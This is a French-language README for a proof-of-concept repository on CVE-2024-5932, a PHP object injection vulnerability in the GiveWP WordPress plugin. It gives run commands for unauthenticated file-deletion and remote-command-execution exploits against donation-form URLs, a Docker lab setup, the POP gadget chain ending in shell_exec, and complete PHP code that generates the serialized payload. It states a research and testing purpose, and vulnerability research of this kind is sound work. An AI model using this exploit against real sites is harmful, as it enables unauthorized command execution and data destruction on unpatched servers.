
GiveWP PHP Object Injection exploit
Cet article est une publication de recherche par EQSTLab.
Il existe actuellement de faux dépôts GitHub PoC qui exécutent xmrig. Consultez le lien ci-dessous pour plus d'informations :
URL1 : https://x.com/win3zz/status/1828704644987511107
URL2 : https://x.com/bornunique911/status/1828712791844524453
URL3 : https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 PoC de suppression arbitraire de fichiers et d'exécution de code à distance (RCE) ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25 août : PoC de suppression de fichiers CVE-2024-5932 téléchargé
26 août : Nous avons réussi à exécuter des commandes arbitraires en utilisant CVE-2024-5932, mais nous envisageons la divulgation en raison de l'impact.
27 août : Nous avons trouvé une analyse détaillée du PoC dans un article de Julien Ahrens de RCE Security et avons décidé de publier notre PoC RCE. Nous avons téléchargé un PoC RCE supplémentaire sous le nom CVE-2024-5932-rce.py.
CVE-2024-5932 : Vulnérabilité d'injection d'objets PHP GiveWP description : Le plugin GiveWP Donation Plugin and Fundraising Platform pour WordPress est vulnérable à l'injection d'objets PHP dans toutes les versions jusqu'à la 3.14.1 incluse via la désérialisation d'entrées non fiables provenant du paramètre 'give_title'. Cela permet à des attaquants non authentifiés d'injecter un objet PHP. La présence supplémentaire d'une chaîne POP permet aux attaquants d'exécuter du code à distance et de supprimer des fichiers arbitraires.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Suppression arbitraire de fichiers
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Exécution de code à distance
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



Tout d'abord, accédez au shell wordpress avec la commande suivante :
docker exec -it -u root docker-wordpress-1 /bin/bash
Si le fichier appartient à root, il peut ne pas être supprimé en raison des permissions. Par conséquent, vous devez modifier le propriétaire du fichier de test avec la commande suivante :
touch test && chown www-data test

Vous pouvez déboguer votre GiveWP en utilisant PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..Et vous pouvez ensuite déboguer votre WordPress.


À ce stade, la fonction get_meta() désérialise la valeur « give_title » précédemment enregistrée.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags : remplacer les octets nuls -> en utilisant \0
stripslashes_deep : remplacer les antislashs -> en utilisant \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Return command string)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
La chaîne POP permet l'exécution de commandes à distance.

En utilisant TCPDF, vous pouvez exploiter la suppression arbitraire de fichiers.
Ce dépôt n'est pas destiné à être une exploitation d'injection d'objets pour CVE-2024-5932. Le but de ce projet est d'aider les personnes à en apprendre davantage sur cette vulnérabilité, et éventuellement à tester leurs propres applications.
Nous publions une analyse des CVE et des malwares une fois par mois. Si vous êtes intéressé, veuillez suivre les liens ci-dessous pour consulter nos publications. https://www.skshieldus.com/eng/business/insight.do